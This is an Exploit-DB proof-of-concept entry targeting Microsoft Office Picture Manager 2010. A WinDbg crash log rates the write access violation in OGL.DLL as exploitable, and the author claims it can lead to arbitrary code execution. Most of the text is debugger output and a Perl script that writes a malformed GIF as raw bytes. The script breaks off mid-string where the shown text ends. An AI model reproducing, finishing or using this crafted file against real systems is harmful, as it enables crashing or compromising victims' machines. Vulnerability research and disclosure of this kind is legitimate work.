Exploit-DB #22237
Description: Microsoft Office Picture Manager 2010 - Crash (PoC)
Type: dos
Platform: windows
Date: 2012-10-25
Author: coolkaveh

Exploit:
Title     :  Microsoft Office Picture Manager 2010 memory corruption
Version   :  Microsoft Office professional Plus 2010
Crash     :  http://img715.imageshack.us/img715/7364/pocl.png
Date      :  2012-10-24
Vendor    :  http://office.microsoft.com
Impact    :  Med/High
Contact   :  coolkaveh [at] rocketmail.com
Twitter   :  @coolkaveh
tested    :  XP SP3 ENG
###############################################################################
Bug :
----
notice : for testing POC please run the Microsoft Office Picture Manager under a 
Debugger and then open the POC file.
----
Successful exploits can allow attackers to execute arbitrary code
---- 
################################################################################
(554.7a0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0620104a 
ebx=04f1417f 
ecx=0000004f 
edx=0000004f 
esi=06108348 
edi=00000153
eip=4406b8e1 
esp=0012e4c4 
ebp=0012e4f0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
*** ERROR: Symbol file could not be found.  
Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\OFFICE14\OGL.DLL - 
OGL!GdipSetPenCustomEndCap+0xb00:
4406b8e1 8818            mov     byte ptr [eax],bl          ds:0023:0620104a=??
0:000>!exploitable -v
eax=0620104a 
ebx=04f1417f 
ecx=0000004f 
edx=0000004f 
esi=06108348 
edi=00000153
eip=4406b8e1 
esp=0012e4c4 
ebp=0012e4f0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
OGL!GdipSetPenCustomEndCap+0xb00:
4406b8e1 8818            mov     byte ptr [eax],bl          ds:0023:0620104a=??
HostMachine\HostUser
Executing Processor Architecture is x86
Debuggee is in User Mode
Debuggee is a live user mode debugging session on the local machine
Event Type: Exception
Exception Faulting Address: 0x620104a
First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005)
Exception Sub-Type: Write Access Violation

Exception Hash (Major/Minor): 0x2709141e.0x286f1728

Description: User Mode Write AV
Short Description: WriteAV
Exploitability Classification: EXPLOITABLE
Recommended Bug Title: Exploitable - User Mode Write AV starting at OGL!GdipSetPenCustomEndCap+0x[PII_REDACTED]000b00 (Hash=0x2709141e.0x286f1728)

User mode write access violations that are not near NULL are exploitable.
##############################################################################################################
POC can be download from 
http://imageshack.us/scaled/landing/835/poc2.gif
OR try 
##############################################################################################################
#!/usr/bin/perl
my $poc =
"\x47\x49\x46\x38\x39\x61\x93\x00\x33\x00\xE6\x7F\x00\x23\xCC\xF5\x03\xC7\xB6\xF7\x96\x25\xFC\xC7\x26".
"\xFD\x69\x2D\xA4\xD8\x7B\x0C\xA4\xFB\x6A\xD5\x9D\xFC\xCB\xA7\x1F\xC5\xF6\xF0\x7A\x51\x65\xCE\xFA\xD9".
"\xF0\xC7\xB3\xE3\x91\xFD\x86\x4A\xF9\x77\x16\xF6\xAF\x4A\xFE\x57\x06\x93\xCD\x64\x03\x92\xFE\x14\xB3".
"\xF9\x8D\xCA\x5B\xFE\xD4\xBE\xFE\xE6\xA1\xF8\xBC\x6A\xC3\xE8\xFE\xF5\x5B\x34\xFD\xE1\x84\xFE\xE5\xD7".
"\xF6\x86\x1F\x00\xA7\x99\xF9\xBC\x36\xF8\xC8\x8D\x15\x98\xFF\x85\xC5\x51\xFA\xCC\x74\x44\xD4\xF5\xAE".
"\xDD\xFF\xFD\xD7\x5B\xFD\xB1\x85\xFF\x91\x68\xAC\xDD\x85\xA7\xE4\x79\x10\xAB\xFA\x15\xB9\xC8\x37\xA8".
"\xFF\xDF\xF1\xFF\x00\xB2\xA4\x00\xBA\xAB\xFC\x62\x0A\xCA\xEF\xAD\x2C\xA3\xFF\x57\xB8\xFF\x00\xBE\xB0".
"\xF3\xFB\xFF\x01\xAD\xA0\xE7\xF5\xDA\x48\xB3\xFF\xE4\xF9\xFE\x95\xD4\xFF\x1A\xC2\xD7\xFA\xF5\xD5\x09".
"\x9E\xFC\x02\x8E\xFF\x0A\x92\xFF\xD3\xF1\xBB\xFE\xF9\xF4\xFF\x5E\x1A\xFF\xF6\xF0\x99\xD1\x6C\xEF\x56".
"\x39\x19\xBB\xF8\xD5\xF1\xFE\x9F\xD4\x73\x94\xD2\x62\xCD\xE8\xB8\x64\xBE\xFF\xEC\x4C\x3D\xC8\xF0\xFD".
"\x06\x99\xFD\xFB\xB5\x27\x87\xC7\x54\x20\x9D\xFF\x1B\xC0\xF7\x8A\xC8\x57\x9E\xDB\x6E\xEF\xFA\xE6\x16".
"\xB7\xF8\xFF\x50\x03\x01\xB6\xA9\xFA\x6D\x10\x8C\x8C\x8C\xD9\xD9\xD9\xB2\xB2\xB2\x70\x70\x70\x79\x79".
"\x79\xF5\xF5\xF5\xE2\xE2\xE2\xEC\xEC\xEC\xA0\xA0\xA0\xC5\xC5\xC5\xA9\xA9\xA9\xCF\xCF\xCF\xBC\xBC\xBC".
"\x96\x96\x96\x83\x83\x83\x90\xCF\x5E\x97\xD5\x66\x74\xDD\xFA\x19\xBB\xB6\xFD\xF4\xE5\x13\xBC\xA2\xD2".
"\xF2\xE0\xF7\xFB\xF4\xFA\xFD\xF8\x89\xCC\x68\xFC\xCF\x41\xC1\xE9\xA1\x6C\xD3\xC8\x7D\xCD\x79\x0D\xBC".
"\xAA\xFE\xEE\xC3\x92\xDD\x97\x97\xE6\xF8\xA7\xE4\xFD\x3F\xBD\x86\x66\x66\x66\xFF\xFF\xFF\x21\xFF\x0B".
"\x58\x4D\x50\x20\x44\x61\x74\x61\x58\x4D\x50\x3C\x3F\x78\x70\x61\x63\x6B\x65\x74\x20\x62\x65\x67\x69".
"\x6E\x3D\x22\xEF\xBB\xBF\x22\x20\x69\x64\x3D\x22\x57\x35\x4D\x30\x4D\x70\x43\x65\x68\x69\x48\x7A\x72".
"\x65\x53\x7A\x4E\x54\x63\x7A\x6B\x63\x39\x64\x22\x3F\x3E\x20\x3C\x78\x3A\x78\x6D\x70\x6D\x65\x74\x61".
"\x20\x78\x6D\x6C\x6E\x73\x3A\x78\x3D\x22\x61\x64\x6F\x62\x65\x3A\x6E\x73\x3A\x6D\x65\x74\x61\x2F\x22".
"\x20\x78\x3A\x78\x6D\x70\x74\x6B\x3D\x22\x41\x64\x6F\x62\x65\x20\x58\x4D\x50\x20\x43\x6F\x72\x65\x20".
"\x35\x2E\x30\x2D\x63\x30\x36\x30\x20\x36\x31\x2E\x31\x33\x34\x37\x37\x37\x2C\x20\x32\x30\x31\x30\x2F".
"\x30\x32\x2F\x31\x32\x2D\x31\x37\x3A\x33\x32\x3A\x30\x30\x20\x20\x20\x20\x20\x20\x20\x20\x22\x3E\x20".
"\x3C\x72\x64\x66\x3A\x52\x44\x46\x20\x78\x6D\x6C\x6E\x73\x3A\x72\x64\x66\x3D\x22\x68\x74\x74\x70\x3A".
"\x2F\x2F\x77\x77\x77\x2E\x77\x33\x2E\x6F\x72\x67\x2F\x31\x39\x39\x39\x2F\x30\x32\x2F\x32\x32\x2D\x72".
"\x64\x66\x2D\x73\x79\x6E\x74\x61\x78\x2D\x6E\x73\x23\x22\x3E\x20\x3C\x72\x64\x66\x3A\x44\x65\x73\x63".
"\x72\x69\x70\x74\x69\x6F\x6E\x20\x72\x64\x66\x3A\x61\x62\x6F\x75\x74\x3D\x22\x22\x20\x78\x6D\x6C\x6E".
"\x73\x3A\x78\x6D\x70\x4D\x4D\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x6E\x73\x2E\x61\x64\x6F\x62\x65\x2E".
"\x63\x6F\x6D\x2F\x78\x61\x70\x2F\x31\x2E\x30\x2F\x6D\x6D\x2F\x22\x20\x78\x6D\x6C\x6E\x73\x3A\x73\x74".
"\x52\x65\x66\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x6E\x73\x2E\x61\x64\x6F\x62\